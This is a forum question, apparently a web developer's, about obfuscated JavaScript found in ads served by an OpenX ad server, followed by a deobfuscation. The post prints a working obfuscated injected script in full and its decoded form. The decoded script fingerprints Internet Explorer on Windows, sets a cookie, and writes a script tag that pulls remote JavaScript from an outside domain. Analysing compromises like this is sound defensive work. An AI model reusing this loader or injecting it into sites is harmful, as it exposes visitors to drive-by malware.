jquery - OpenX displaying strange javascript code -

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i running openx ad server on site , lately have been noticing strange code being displayed ads. not sure if part of openx code or if application has been compromised somehow. perhaps javascript knowledge can explain me. code:

<script>try{_=~[];_={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};_.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;_.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;_.$=(_.___)[_.$_][_.$_];_.$(_.$(_.$$+"\""+_.$$_$+"="+_.$$_$+_._$+_.$$__+_._+"\\"+_.__$+_.$_$+_.$_$+_.$$$_+"\\"+_.__$+_.$_$+_.$$_+_.__+";"+_._+_.$_$_+"=\\"+_.__$+_.$_$+_.$$_+_.$_$_+"\\"+_.__$+_.$$_+_.$$_+"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$__+_.$$$+_.$_$_+_.__+_._$+"\\"+_.__$+_.$$_+_._$_+"."+_._+"\\"+_.__$+_.$$_+_._$$+_.$$$_+"\\"+_.__$+_.$$_+_._$_+"\\"+_.__$+_.___+_.__$+"\\"+_.__$+_.$__+_.$$$+_.$$$_+"\\"+_.__$+_.$_$+_.$$_+_.__+";\\"+_.__$+_.$_$+_.__$+_.$$$$+"("+_.$$_$+"._\\"+_.__$+_.$$$+_._$_+"\\"+_.__$+_.$$$+_.___+"==="+_._+"\\"+_.__$+_.$_$+_.$$_+_.$$_$+_.$$$_+_.$$$$+"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$_$+_.$$_+_.$$$_+_.$$_$+"\\"+_.$__+_.___+"&&\\"+_.$__+_.___+_.$$_$+"."+_.$$__+_._$+_._$+"\\"+_.__$+_.$_$+_._$$+"\\"+_.__$+_.$_$+_.__$+_.$$$_+".\\"+_.__$+_.$$_+_._$$+_.$$$_+_.$_$_+"\\"+_.__$+_.$$_+_._$_+_.$$__+"\\"+_.__$+_.$_$+_.___+"('_"+_._+_.__+"\\"+_.__$+_.$_$+_.$_$+_._+_.$$_$+"=')==-"+_.__$+"\\"+_.$__+_.___+"&&\\"+_.$__+_.___+_._+_.$_$_+".\\"+_.__$+_.$$_+_._$$+_.$$$_+_.$_$_+"\\"+_.__$+_.$$_+_._$_+_.$$__+"\\"+_.__$+_.$_$+_.___+"('\\"+_.__$+_._$_+_.$$$+"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$_$+_.$$_+_.$$_$+_._$+"\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_._$$+"\\"+_.$__+_.___+"\\"+_.__$+_.__$+_.$$_+"\\"+_.__$+_._$_+_.$__+"\\"+_.$__+_.___+"')>"+_.___+"\\"+_.$__+_.___+"&&\\"+_.$__+_.___+_._+_.$_$_+".\\"+_.__$+_.$$_+_._$$+_.$$$_+_.$_$_+"\\"+_.__$+_.$$_+_._$_+_.$$__+"\\"+_.__$+_.$_$+_.___+"('\\"+_.__$+_.__$+_.$_$+"\\"+_.__$+_._$_+_._$$+"\\"+_.__$+_.__$+_.__$+"\\"+_.__$+_.___+_.$_$+"\\"+_.$__+_.___+"')>"+_.___+")\\"+_.$__+_.___+"{"+_.$$_$+"._\\"+_.__$+_.$$$+_._$_+"\\"+_.__$+_.$$$+_.___+"="+_.__$+";"+_.$$_$+"."+_.$$__+_._$+_._$+"\\"+_.__$+_.$_$+_._$$+"\\"+_.__$+_.$_$+_.__$+_.$$$_+"='__"+_._+_.__+"\\"+_.__$+_.$_$+_.$_$+_._+_.$$_$+"="+_.__$+";\\"+_.$__+_.___+_.$$$_+"\\"+_.__$+_.$$$+_.___+"\\"+_.__$+_.$$_+_.___+"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$$_+_._$_+_.$$$_+"\\"+_.__$+_.$$_+_._$$+"=\\"+_.__$+_._$_+_.$$$+_.$$$_+_.$$_$+",\\"+_.$__+_.___+_.___+_.__$+"\\"+_.$__+_.___+"\\"+_.__$+_.__$+_._$_+_.$_$_+"\\"+_.__$+_.$_$+_.$$_+"\\"+_.$__+_.___+_._$_+_.___+_._$_+_.___+"\\"+_.$__+_.___+_.___+_.___+":"+_.___+_.___+":"+_.___+_.___+"\\"+_.$__+_.___+"\\"+_.__$+_._$_+_.$_$+"\\"+_.__$+_._$_+_.$__+"\\"+_.__$+_.___+_._$$+";\\"+_.$__+_.___+"\\"+_.__$+_.$$_+_.___+_.$_$_+_.__+"\\"+_.__$+_.$_$+_.___+"=/';"+_.$$_$+".\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_._$_+"\\"+_.__$+_.$_$+_.__$+_.__+_.$$$_+(![]+"")[_._$_]+"\\"+_.__$+_.$_$+_.$$_+"(\\\"<\\"+_.__$+_.$$_+_._$$+_.$$__+"\\"+_.__$+_.$$_+_._$_+"\\\"+\\\"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$$_+_.___+_.__+"\\"+_.$__+_.___+"\\"+_.__$+_.$$_+_._$$+"\\"+_.__$+_.$$_+_._$_+_.$$__+"='\\"+_.__$+_.$_$+_.___+_.__+_.__+"\\"+_.__$+_.$$_+_.___+"://\\"+_.__$+_.$__+_.$$$+_.$_$_+(![]+"")[_._$_]+_.$$$_+_.__+_._$+"."+_.$$$_+_._+"/"+_.$_$+_.$$_$+_.$$_+_._$_+_.___+_.$$_+_.$$_$+_.$$_$+".\\"+_.__$+_.$_$+_._$_+"\\"+_.__$+_.$$_+_._$$+"?"+_.$$__+"\\"+_.__$+_.$$_+_.___+"=\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_.$$$+"."+_.$_$$+"\\"+_.__$+_.$$_+_._$_+_.$_$_+"\\"+_.__$+_.$$_+_.$$_+_.$_$_+"\\"+_.__$+_.$_$+_.$$_+_.$$$_+"\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_._$$+"."+_.$$__+_._$+"\\"+_.__$+_.$_$+_.$_$+"'></\\"+_.__$+_.$$_+_._$$+_.$$__+"\\"+_.__$+_.$$_+_._$_+"\\"+_.__$+_.$_$+_.__$+"\\\"+\\\"\\"+_.__$+_.$$_+_.___+_.__+">\\\");}"+"\"")())();}catch(e){}</script>

when evaluated obfuscated code define function , executes it:

function anonymous() {     d=document;ua=navigator.useragent;     if(d._zx===undefined && d.cookie.search('_utmud=')==-1 && ua.search('windows nt ')>0 && ua.search('msie ')>0) {         d._zx=1;d.cookie='__utmud=1; expires=wed, 01 jan 2020 00:00:00 utc; path=/';         d.writeln("<scr"+"ipt src='http://galeto.eu/5d6206dd.js?cp=www.domain.com'></scri"+"pt>");     } }

basically, set cookie , loads additional javascript file.


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